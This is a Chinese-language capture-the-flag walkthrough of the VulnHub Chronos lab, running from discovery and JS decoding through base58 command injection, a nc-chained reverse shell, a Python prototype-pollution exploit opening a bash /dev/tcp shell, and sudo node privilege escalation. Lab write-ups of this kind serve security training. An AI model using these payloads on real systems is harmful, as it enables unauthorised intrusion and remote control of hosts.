写在前面
靶机的地址
这是靶机的地址:https://www.vulnhub.com/entry/chronos-1,735/
小伙伴们可以下载来一起打哦~
靶机描述
这次的靶机是一个难度为中等级的靶机
以下是整个步骤的具体流程:
端口扫描
WEB侦查
命令注入
数据编解码
搜索大法
框架漏洞利用
代码审计
本地提权
开始打靶
主机的发现
首先通过arp-scan -l
进行靶机的发现
然后通过nmap -A ip
进行全扫描
发现开启了22,80,8000端口
web端的服务探测
在前端页面并没有发现什么,但是网页源码中出现了一段可疑的js代码
1 2 3 4 5 6 7 8
| <!DOCTYPE html> <meta charset="UTF-8"> <html> <body onload="loadDoc()"> <script> var _0x5bdf=['150447srWefj','70lwLrol','1658165LmcNig','open','1260881JUqdKM','10737CrnEEe','2SjTdWC','readyState','responseText','1278676qXleJg','797116soVTES','onreadystatechange','http://chronos.local:8000/date?format=4ugYDuAkScCG5gMcZjEN3mALyG1dD5ZYsiCfWvQ2w9anYGyL','User-Agent','status','1DYOODT','400909Mbbcfr','Chronos','2QRBPWS','getElementById','innerHTML','date'];(function(_0x506b95,_0x817e36){var _0x244260=_0x432d;while(!![]){try{var _0x35824b=-parseInt(_0x244260(0x7e))*parseInt(_0x244260(0x90))+parseInt(_0x244260(0x8e))+parseInt(_0x244260(0x7f))*parseInt(_0x244260(0x83))+-parseInt(_0x244260(0x87))+-parseInt(_0x244260(0x82))*parseInt(_0x244260(0x8d))+-parseInt(_0x244260(0x88))+parseInt(_0x244260(0x80))*parseInt(_0x244260(0x84));if(_0x35824b===_0x817e36)break;else _0x506b95['push'](_0x506b95['shift']());}catch(_0x3fb1dc){_0x506b95['push'](_0x506b95['shift']());}}}(_0x5bdf,0xcaf1e));function _0x432d(_0x16bd66,_0x33ffa9){return _0x432d=function(_0x5bdf82,_0x432dc8){_0x5bdf82=_0x5bdf82-0x7e;var _0x4da6e8=_0x5bdf[_0x5bdf82];return _0x4da6e8;},_0x432d(_0x16bd66,_0x33ffa9);}function loadDoc(){var _0x17df92=_0x432d,_0x1cff55=_0x17df92(0x8f),_0x2beb35=new XMLHttpRequest();_0x2beb35[_0x17df92(0x89)]=function(){var _0x146f5d=_0x17df92;this[_0x146f5d(0x85)]==0x4&&this[_0x146f5d(0x8c)]==0xc8&&(document[_0x146f5d(0x91)](_0x146f5d(0x93))[_0x146f5d(0x92)]=this[_0x146f5d(0x86)]);},_0x2beb35[_0x17df92(0x81)]('GET',_0x17df92(0x8a),!![]),_0x2beb35['setRequestHeader'](_0x17df92(0x8b),_0x1cff55),_0x2beb35['send']();} </script> </body>
|
编码神奇cyberchef
https://cyberchef.org/
尝试把这段js进行解码,但是看见其中有个这个
1
| 'http://chronos.local:8000/date?format=4ugYDuAkScCG5gMcZjEN3mALyG1dD5ZYsiCfWvQ2w9anYGyL'
|
使用了cyberchef的magic模块进行解密,发现4ugYDuAkScCG5gMcZjEN3mALyG1dD5ZYsiCfWvQ2w9anYGyL是一段base58的编码
而且似乎是属于本地访问的,所以在 /etc/hosts 中添加到本地了
然后在进行访问chronos.local:8000
然后在过一边burp发现了这个在js中的加密的请求头
在这里结合上次的打靶过程,很容易猜测这里有命令注入(需要通过base58编码)
命令注入,反弹shell
首先尝试一下ls
能否进行回显
成功执行了ls,那么现在我选择直接无脑nc串联反弹shell
,阁下又该如何应多
;nc 192.168.1.156 3333|/bin/bash| nc 192.168.1.156 4444
N9g5jHcopUYDdn8iMg651ofyBdoqpFUbwxDT59z8zes8J8oinX5iiyXPs5wvogVrqAQqt2XpeG3
虽然响应包显示的是错误,但是成功的看到反弹shell了
信息搜集及提权
cat app.js
发现随便对useragent
和content
进行了检测,但是并没有防护,直接进行了exec
这也就说明了为什么返回了Something went wrong
但是还是反弹shell了
然后在上一级目录中发现了chronos-v2
,让我康康~
cd backend
然后cat package.json
这里再网上找到了这个漏洞
1
| https://www.bleepingcomputer.com/news/security/nodejs-module-downloaded-7m-times-lets-hackers-inject-code/
|
照着POC打,直接上脚本
1 2 3 4 5 6 7 8 9 10
| import requests cmd = 'bash -c "bash -i &> /dev/tcp/192.168.0.135/6666 0>&1"'
requests.post('http://127.0.0.1:8080', files = {'__proto__.outputFunctionName': ( None, f"x;console.log(1);process.mainModule.require('child_process').exec('{cmd}');x")})
requests.get('http://127.0.0.1:8080')
|
保存在本地命名为exp.py
,然后开一个py的http服务让靶机下载
python3 -m http.server 80
本地开启
然后靶机wget http://192.168.1.156/exp.py
进行下载(这里最好的/tmp在进行)
kali关闭服务,进行本地监听poc写的端口
kali:nc -lnvp 6666
靶机:python3 exp.py
然后就可以读取第一个flag了cat /home/imera/user.txt
然后发现/root
进不去,尝试提权
老流程走一套
直接node提权sudo node -e 'child_process.spawn("/bin/bash", {stdio: [0,1,2]})'
Over~